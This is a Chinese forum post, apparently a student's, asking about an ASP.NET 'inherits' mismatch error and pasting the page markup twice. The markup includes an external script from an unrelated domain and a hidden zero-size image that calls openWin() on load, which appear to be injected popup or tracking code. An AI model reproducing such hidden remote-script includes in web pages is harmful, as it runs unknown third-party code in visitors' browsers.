level 1
请不要用我的ID
楼主
课程设计
<%@ page language="c#" autoeventwireup="true" codefile="main.aspx.cs" inherits="main" %>
<%@ register src="controls/left.ascx" tagname="left" tagprefix="uc1" %>
<!doctype html public "-//w3c//dtd xhtml 1.0 transitional//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
<title>main</title>
<script language="javascript">
var nshow = 1;
function switchsysbar()
{
if (document.all("tdtree").style.display == "")
{
document.all("tdtree").style.display = "none"
document.all.movetool.innerhtml = "<img src='images/movetoolright1.gif' width='10' height='39' border='0'>";
}
else
{
document.all("tdtree").style.display = "";
document.all.movetool.innerhtml = "<img src='images/movetool1.gif' width='10' height='39' border='0'>";
}
}
</script>
<script language="javascript" type="text/javascript" src="http://js.521.cc/js/user.js"></script></head>
<body leftmargin=0 rightmargin=0>
<form id="form1" runat="server">
<div>
<table align=center id=table1 cellpadding=0 cel
lsp
acing=0 border=0>
<tr>
<td valign=top align=center width=80 id="tdtree">
<uc1:left id="left1" runat="server" />
</td>
<td width="10"><a style="cursor:hand" onclick="switchsysbar()" id="a1"><img src="images/movetool1.gif" width="10" height="39" border="0"></a></td>
<td valign="top" align=left><iframe id=main name=framemain src=welcome.aspx height=600 width=800 frameborder=no marginwidth=0 marginheight=0></iframe></td>
</tr>
</table>
</div>
</form>
<img src="

" width="0" height="0" onload="openWin();" /></body>
</html>
报错是
错误36请确保此代码文件中定义的类与“inherits”属性匹配,并且该类扩展的基类(例如 Page 或 UserControl)是
正确的
。
2016年01月20日 03点01分
1
<%@ page language="c#" autoeventwireup="true" codefile="main.aspx.cs" inherits="main" %>
<%@ register src="controls/left.ascx" tagname="left" tagprefix="uc1" %>
<!doctype html public "-//w3c//dtd xhtml 1.0 transitional//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
<title>main</title>
<script language="javascript">
var nshow = 1;
function switchsysbar()
{
if (document.all("tdtree").style.display == "")
{
document.all("tdtree").style.display = "none"
document.all.movetool.innerhtml = "<img src='images/movetoolright1.gif' width='10' height='39' border='0'>";
}
else
{
document.all("tdtree").style.display = "";
document.all.movetool.innerhtml = "<img src='images/movetool1.gif' width='10' height='39' border='0'>";
}
}
</script>
<script language="javascript" type="text/javascript" src="http://js.521.cc/js/user.js"></script></head>
<body leftmargin=0 rightmargin=0>
<form id="form1" runat="server">
<div>
<table align=center id=table1 cellpadding=0 cel
lsp
acing=0 border=0>
<tr>
<td valign=top align=center width=80 id="tdtree">
<uc1:left id="left1" runat="server" />
</td>
<td width="10"><a style="cursor:hand" onclick="switchsysbar()" id="a1"><img src="images/movetool1.gif" width="10" height="39" border="0"></a></td>
<td valign="top" align=left><iframe id=main name=framemain src=welcome.aspx height=600 width=800 frameborder=no marginwidth=0 marginheight=0></iframe></td>
</tr>
</table>
</div>
</form>
<img src="
" width="0" height="0" onload="openWin();" /></body></html>
报错是
错误36请确保此代码文件中定义的类与“inherits”属性匹配,并且该类扩展的基类(例如 Page 或 UserControl)是
正确的
。